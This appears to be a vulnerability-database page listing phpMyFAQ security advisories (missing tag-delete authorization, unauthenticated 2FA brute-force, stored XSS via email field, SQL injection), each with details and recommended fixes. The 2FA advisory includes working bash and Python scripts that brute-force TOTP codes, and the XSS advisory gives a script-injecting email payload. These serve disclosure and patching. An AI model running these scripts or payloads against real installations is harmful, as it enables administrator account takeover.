phpMyFAQ instance. This results in: - **Data integrity loss:** Tags are permanently deleted from the database. All FAQ-to-tag associations are destroyed. - **Disruption of FAQ organization:** Tag-based navigation, filtering, and tag clouds become empty or broken. - **No recoverability without backup:** Deleted tags and their associations cannot be restored without a database backup. The impact is limited to tags (not FAQ content itself), but in large installations with extensive tag taxonomies, this could significantly degrade usability. ## Recommended Fix Add the `FAQ_EDIT` permission check and CSRF token verification to `TagController::delete()`, consistent with `TagController::update()`: ```php #[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])] public function delete(Request $request): JsonResponse { $this->userHasPermission(PermissionType::FAQ_EDIT); $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT); if ($this->tags->delete($tagId)) { return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK); } return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST); } ``` At minimum, add `$this->userHasPermission(PermissionType::FAQ_EDIT)` to enforce the same authorization as the update and search endpoints. Consider also adding a dedicated `TAG_DELETE` permission type for more granular access control. |
Affected by 1 other vulnerability. |
|
VCID-xenm-bpfy-w3f9
Aliases: GHSA-9pq7-mfwh-xx2j |
phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id ## Summary The `/admin/check` endpoint in `AuthenticationController` implements `SkipsAuthenticationCheck`, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary `user-id` and `token` values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated `POST /admin/check` with a `user-id` body field returns HTTP 302 to `/admin/token?user-id=<value>`, echoing the attacker-supplied user id without any binding to a prior password-phase authentication. ## Details **File**: `phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php`, lines 35-36 and 201-228. The controller class declaration: ```php final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck ``` The `SkipsAuthenticationCheck` interface (`phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php`) is a marker interface that tells the `ControllerContainerListener` to skip authentication enforcement. Every route in this controller is reachable without a session. The `check` action (line 201-228): ```php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); } $token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS); $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT); $user = $this->currentUserService; $user->getUserById($userId); if (strlen((string) $token) === 6) { $tfa = $this->twoFactor; $result = $tfa->validateToken($token, $userId); if ($result) { $user->twoFactorSuccess(); $this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin()); return new RedirectResponse(url: './'); } $this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin()); } return new RedirectResponse('./token?user-id=' . $userId); } ``` Problems: 1. **No session binding**: The endpoint accepts `user-id` from the POST body. It does not verify that the caller previously authenticated with a password for that user. 2. **No rate limit or lockout**: Failed attempts redirect back to the token form with no counter, delay, or account lock. 3. **Unauthenticated access**: The `SkipsAuthenticationCheck` marker exempts the entire controller from auth enforcement. The normal login flow (`/admin/authenticate`) redirects to `/admin/token?user-id=X` after a valid password. But nothing prevents Bob from skipping the password step and hitting `/admin/check` directly. ## Proof of Concept ```bash # Step 1: Identify target user ID (admin is typically user_id=1) TARGET_HOST="http://target.example" USER_ID=1 # Step 2: Brute-force the 6-digit TOTP code # TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window. # At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves. for code in $(seq -w 000000 999999); do RESPONSE=$(curl -s -o /dev/null -w "%{http_code}:%{redirect_url}" \ -X POST "${TARGET_HOST}/admin/check" \ -d "token=${code}&user-id=${USER_ID}") # A successful 2FA grants a session and redirects to ./ # A failure redirects to ./token?user-id=1 if echo "$RESPONSE" | grep -qv "token?user-id="; then echo "[+] Valid TOTP: ${code}" break fi done ``` ```python # Faster parallel version import requests from concurrent.futures import ThreadPoolExecutor TARGET = "http://target.example/admin/check" USER_ID = 1 def try_code(code): r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USER_ID}, allow_redirects=False) location = r.headers.get("Location", "") if "token?user-id=" not in location: return code return None with ThreadPoolExecutor(max_workers=50) as pool: for result in pool.map(try_code, range(1000000)): if result is not None: print(f"[+] Valid TOTP: {result:06d}") break ``` ## Impact Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, `twoFactorSuccess()` grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data. **CVSS 3.1**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` (High, 9.1) **CWE**: CWE-307 (Improper Restriction of Excessive Authentication Attempts) ## Recommended Fix 1. **Bind the 2FA step to a password-verified session**: Store a flag in the server-side session during `authenticate()` indicating the user passed password auth. The `check` action must verify this flag before accepting TOTP attempts. 2. **Add rate limiting / lockout**: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff. 3. **Narrow the SkipsAuthenticationCheck scope**: Move the `/check` and `/token` routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth. Example session-binding fix in `check()`: ```php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT); // Require that the session proves password auth for this specific user if ($this->session->get('2fa_pending_user_id') !== $userId) { return new RedirectResponse(url: './login'); } // ... existing TOTP validation ... } ``` And in `authenticate()`, after successful password check: ```php $this->session->set('2fa_pending_user_id', $this->currentUser->getUserId()); ``` --- *Found by [aisafe.io](https://aisafe.io)* |
Affected by 1 other vulnerability. |
|
VCID-ytay-2436-eubu
Aliases: CVE-2026-32629 GHSA-98gw-w575-h2ph |
phpMyFAQ is Vulnerable to Stored XSS via Unsanitized Email Field in Admin FAQ Editor ### Summary An unauthenticated attacker can submit a guest FAQ with an email address that is syntactically valid per RFC 5321 (quoted local part) yet contains raw HTML — for example "<script>alert(1)</script>"@evil.com. PHP's FILTER_VALIDATE_EMAIL accepts this email as valid. The email is stored in the database without HTML sanitization and later rendered in the admin FAQ editor template using Twig's |raw filter, which bypasses auto-escaping entirely. ### Details 1. PHP FILTER_VALIDATE_EMAIL accepts RFC-valid quoted local parts with dangerous characters phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php:99 $email = trim((string) Filter::filterVar($data->email, FILTER_VALIDATE_EMAIL)); PHP accepts "<script>alert(1)</script>"@evil.com as a valid email (RFC 5321 allows <, > inside quoted local parts). Confirmed: "<script>alert(1)</script>"@evil.com => string (valid, not false) 2. Email stored raw without HTML sanitization phpmyfaq/src/phpMyFAQ/Faq.php — email retrieved directly as $row->email from the database. 3. Admin Twig template renders email with |raw phpmyfaq/assets/templates/admin/content/faq.editor.twig:296 <input type="email" name="email" id="email" value="{{ faqData['email'] | raw }}" class="form-control"> Affected version: 4.2.0-alpha, commit f0dc86c8f ### PoC **The reproduction of the vulnerability was implemented with the help of AI while reviewing the source code to generate the proof-of-concept. Please kindly note this for reference. Since the vulnerability has already been confirmed directly in the source code, the proof-of-concept code may be considered as a reference only.** Please extract the attached compressed file and proceed. [poc.zip](https://github.com/user-attachments/files/25938058/poc.zip) 0. (docker compose -f docker-compose.yml down -v) 1. docker compose -f docker-compose.yml up -d mariadb php-fpm nginx 2. bash exploit.sh ----- 1. Access http://localhost:8888/admin/ 2. Log in with admin / Admin1234! 3. After logging in, check whether the URL remains http://localhost:8888/admin/ 4. Go to Content → FAQ Administration → edit "poc" → alert popup should appear If it does not appear, you can also access it directly via: http://localhost:8888/admin/faq/edit/1/en <img width="1388" height="239" alt="스크린샷 2026-03-12 오후 11 42 52" src="https://github.com/user-attachments/assets/b6d5446f-4eba-4cb2-9284-1bca4855142e" /> <img width="1171" height="92" alt="스크린샷 2026-03-12 오후 11 16 17" src="https://github.com/user-attachments/assets/3578e429-7106-4616-92ed-4167816d40f0" /> ### Impact When an administrator opens /admin/faq/edit/{id}/{lang} to review the pending FAQ, the injected script executes in the admin's browser context. This allows an attacker to: - Steal the administrator's session cookie → full admin account takeover - Perform arbitrary admin actions (create users, modify content, change configuration) - Pivot to further attacks on the server The attack chain requires no authentication. By default, records.allowNewFaqsForGuests=true allows unauthenticated FAQ submission, and records.defaultActivation=false guarantees the administrator must visit the edit page to review it. Note on captcha: The built-in captcha is enabled by default when the PHP gd extension is present (spam.enableCaptchaCode=true). This prevents fully automated exploitation but does not prevent a targeted manual attack — an attacker can solve the captcha once and submit the payload. ### Credits wooseokdotkim |
Affected by 13 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-wdjb-zkn8-vugf | phpMyFAQ has Authenticated SQL Injection in Configuration Update Functionality An authenticated SQL injection vulnerability in the main configuration update functionality of phpMyFAQ (v4.0.13 and prior) allows a privileged user with 'Configuration Edit' permissions to execute arbitrary SQL commands. Successful exploitation can lead to a full compromise of the database, including reading, modifying, or deleting all data, as well as potential remote code execution depending on the database configuration. |
CVE-2025-62519
GHSA-fxm2-cmwj-qvx4 |